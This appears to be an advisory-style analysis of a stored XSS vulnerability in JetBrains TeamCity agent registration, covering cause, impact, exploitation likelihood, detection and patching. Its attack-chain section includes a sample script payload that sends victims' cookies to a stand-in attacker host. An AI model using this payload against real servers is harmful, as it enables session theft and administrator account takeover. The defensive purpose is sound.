CVE-2026-59795: 
JetBrains TeamCity vulnerability analysis and mitigation

CVE-2026-59795 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity that allows unauthenticated attackers to inject malicious scripts via the agent registration mechanism. The vulnerability affects all JetBrains TeamCity versions before 2026.1.2. It was published on July 10, 2026, with a patch available in version 2026.1.2. The CVSS v3.1 base score is 6.1 (Medium) per NVD, though the GitHub Advisory Database rates it 8.1 (High) using a slightly different vector (GitHub Advisory, JetBrains).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within the agent registration workflow. Because TeamCity permits unauthenticated agent registration, an attacker can submit crafted registration data containing malicious JavaScript payloads without any prior authentication. These payloads are stored server-side and subsequently rendered in the browsers of authenticated users (e.g., administrators) who view agent information pages, triggering script execution in their session context. No public proof-of-concept code has been identified at this time (GitHub Advisory, JetBrains).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of authenticated TeamCity users, including administrators, who view the compromised agent data. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim user, and potential account takeover. Confidentiality and integrity are both impacted (rated High in the GitHub Advisory scoring), while availability is not directly affected (GitHub Advisory).

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept at this time, as confirmed by NVD SSVC data indicating exploitation status as "none" (GitHub Advisory). The EPSS score is approximately 0.268%, placing it in the 18th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection plugins are available from Qualys (ID: 531793) and Nessus (ID: 327417).

1. Reconnaissance: Identify internet-facing JetBrains TeamCity instances running versions prior to 2026.1.2 using tools like Shodan or Censys, or by checking the TeamCity version endpoint.
2. Identify agent registration endpoint: Locate the unauthenticated agent registration API or web interface exposed by the TeamCity server (no credentials required).
3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into agent registration fields such as agent name or other metadata fields that are rendered in the admin UI.
4. Submit registration request: Send the crafted agent registration request to the TeamCity server without authentication, causing the malicious script to be stored in the TeamCity database.
5. Wait for victim interaction: When an authenticated administrator or user navigates to the agent management page in TeamCity, the stored payload executes in their browser context.
6. Harvest session data: The attacker receives stolen session tokens or cookies, enabling session hijacking and unauthorized actions within TeamCity (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from TeamCity users' browsers to external domains shortly after viewing agent management pages; unusual agent registration requests from unknown or external IP addresses.
• Logs: TeamCity server logs showing agent registration events from unauthenticated sources with anomalous or unusually long agent name/metadata fields; access logs with POST requests to agent registration endpoints containing encoded script tags or JavaScript.
• Application: Presence of unfamiliar or suspicious build agents in the TeamCity agent list with names or descriptions containing HTML/JavaScript syntax (e.g., <script>, javascript:, onerror=).
• Browser/Session: Unexpected session invalidations or account activity for administrator accounts following visits to agent management pages.

JetBrains has released a fix in TeamCity version 2026.1.2; upgrading to this version or later is the primary recommended remediation (JetBrains, GitHub Advisory). As a workaround, organizations should consider restricting agent registration to authenticated users only if operationally feasible, and implement network-level controls to limit which hosts can register as build agents. Additionally, implementing a Content Security Policy (CSP) on the TeamCity web interface can reduce the impact of any XSS exploitation.

The vulnerability received coverage from several security news outlets including GBHackers, CyberSecurityNews, SecurityOnline, and VPNcentral, which reported on JetBrains patching multiple vulnerabilities across TeamCity, YouTrack, and IntelliJ IDEA in the same release cycle (GBHackers, CyberSecurityNews). Social media activity was noted on Mastodon and Bluesky, though community reaction was moderate given the lack of active exploitation. The vulnerability was also discussed in the context of JetBrains' broader security update addressing six vulnerabilities across its product suite.